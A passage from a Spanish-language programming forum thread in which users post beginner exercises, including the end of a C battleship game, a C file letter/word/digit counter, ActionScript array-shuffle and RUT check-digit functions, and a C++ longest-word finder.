p3[cord1][cord2]='F';
Fra2--; }
if(p2[cord1][cord2]=='s'){ printf("tSubMarino aviones da?adon");
p3[cord1][cord2]='S';
Sub2--;}
if(p2[cord1][cord2]=='r'){ printf("tPatrulla da?adan");
p3[cord1][cord2]='R';
Re2--;}
}
else{ printf("(Estado)tlost Targetn");
aux=0;
p3[cord1][cord2]='x';}

}

for(i=0;i<10;i++){
for(j=0;j<10;j++){
printf("%ct",p3[i][j]);}
printf("n");
}


if(Port2==0){naves2=naves2-1;
Port2++;}
if(Acora2==0){naves2=naves2-1;
Port2++;}
if(Fra2==0){naves2=naves2-1;
Fra2++;}
if(Sub2==0){naves2=naves2-1;
Sub2++;}
if(Re2==0){naves2=naves2-1;
Re2++;}
//PC
aux=1;

while(aux!=0){

printf("turno de PC...n(Estado)::Jugando...na");
cord1=rand()%9;
cord2=rand()%9;
if(p1[cord1][cord2]!='*'){
printf("t PC reached target %d,%dna", cord1,cord2);
if(p1[cord1][cord2]=='p'){ printf("tAlcanza un Porta Avionesna");
p3[cord1][cord2]='p';
Port1--; }
if(p1[cord1][cord2]=='a'){ printf("tALcanza un Acorazadona");
p3[cord1][cord2]='a';
Acora1--;}
if(p1[cord1][cord2]=='f'){ printf("tALcanza una fragatan");
p3[cord1][cord2]='f';
Fra1--; }
if(p1[cord1][cord2]=='s'){ printf("tSubMarino alzanzadona");
p3[cord1][cord2]='s';
Sub1--;}
if(p1[cord1][cord2]=='r'){ printf("tPatrulla Alcamzadaan");
p3[cord1][cord2]='r';
Re1--; }
}
else{ printf("t(Estado)PC::lost Target::n");
aux=0;
p3[cord1][cord2]='O';}

}


if(Port1==0){naves1=naves1-1;
Port1++;}
if(Acora1==0){naves1=naves1-1;
Port1++;}
if(Fra1==0){naves1=naves1-1;
Fra1++;}
if(Sub1==0){naves1=naves1-1;
Sub1++;}
if(Re1==0){naves1=naves1-1;
Re1++;}


aux=1;

if(naves1==0||naves2==0) end=1;
}
if(naves1==0) printf("ntGana Jugador PCn");
if(naves2==0) printf("ntGana Jugador 1, Congratulationsn");
}


Jajaj, que recuerdos con ese programa, lo tube que hacer cuando tenía ese rámo.. me costó un kilo en ese tiempo jaja

Saludos! :jaja:

rruribe
19/08/2009, 17:42
/*
Pequeño programa que se encarga de leer, de un archivo
y reporta las insidencias de letras, palabras y digitos.
*/
#include <stdio.h>

int lexico(char );

int main() {
FILE *archi;
char name[40];
char c;
int num=0;
int pal=0;
int letra=0;

printf("Dame el nombre del archivo: ");
scanf("%s", name);
archi = fopen(name, "r");
if(archi==NULL) {
printf("Error al abrir el archivo\n");
system("pause");
exit(1);
}
while(!feof(archi)) {
c = fgetc(archi);
switch(lexico(c)) {
case 1: num++;
break;
case 0: letra++;
do {
if(feof(archi)==0) c=fgetc(archi);
else c = '/';
if(lexico(c)==0) letra++;
} while(lexico(c)==0);
pal++;
ungetc(c, archi);
break;
}
}
printf("letras %d, palabras %d, digitos %d\n", letra, pal, num);
system("pause");
return 0;
}

int lexico(char c) {
if(isalpha(c)||c=='ñ'||c=='Ñ') return 0;
if(isdigit(c)) return 1;
return -1;
}

napster23
08/10/2009, 19:43
hola estoy recien inicinado con esto de la programacion...pero tengo una duda
yo utilizo el Dev-C++ para programar y he escuhado k se puede poner musica a los programas k uno hace, esto lo escuche a un tipo en en youtube

es verdad ?? como se hace ??:CHAO::jardineros:

El Fin
10/10/2009, 20:17
Aqui vá uno de As2, de este lenguaje y php tengo scripts por montones, veamos uno "util":

Esta funcion desordena un array (en realidad regresa otro desordenado, no modifica el original).



function desordenar(array:Array):Array
{
var nuevo:Array=new Array

while(array.length>0)
{
var azar:Number=Math.randomInt(array.length)
var elemento=array[azar]

nuevo.push(elemento)
array.splice(azar,1)
}
return nuevo
}


Uso:

var cosas:Array=[1,2,3,4,5,6]
trace(desordenar(cosas))

***Edit: digito verificador***

lo agrego aqui mismo para no hacer doble post:


function digito_verificador(rut:Number)
{
var suma:Number=0
var inicio:Number=1
var resultado:Number
var x:String

var rut_ar:Array=rut.toString().split("")
var largo:Array=rut_ar.length

//multiplica
for (x in rut_ar)
{
if(++inicio>7)inicio=2
rut_ar[x]*=inicio
suma+=rut_ar[x]
}

//calcula y regresa
resultado=11-suma%11
return resultado==10?"k":resultado
}


Un Saludo.

ladronaso666
12/10/2009, 03:12
este programa busca la palabra mas larga dentro de un texto, "ideal para prinsipiantes".



#include <stdio.h>
#include <iostream>
#include <string.h>
#define N 100

using namespace std;

void inicializacion();
int contartexto();

char texto[N];


void inicializacion(){
for (int i=0; i<N; i++){
texto[i]=' ';
}
}

int contartexto(){
int j,k;
j=0;
k=0;
for(int i=0; i<N; i++){
if(texto[i] != ' '){
j++;
if(j >= k)
k=j;
}
else
j=0;
}
return k;
}



main(){
int linea;
cout<<"ingrese el texto:"<<endl<<endl;
inicializacion();
cin.getline(texto,N);

linea = contartexto();

cout<<endl<<"la linea mas larga dentro del texto contiene: "<<linea<<" caracteres"<<endl;

}

Perreke!
13/05/2011, 02:59
gracias men :)

Perreke!
13/05/2011, 03:15
gracias men :)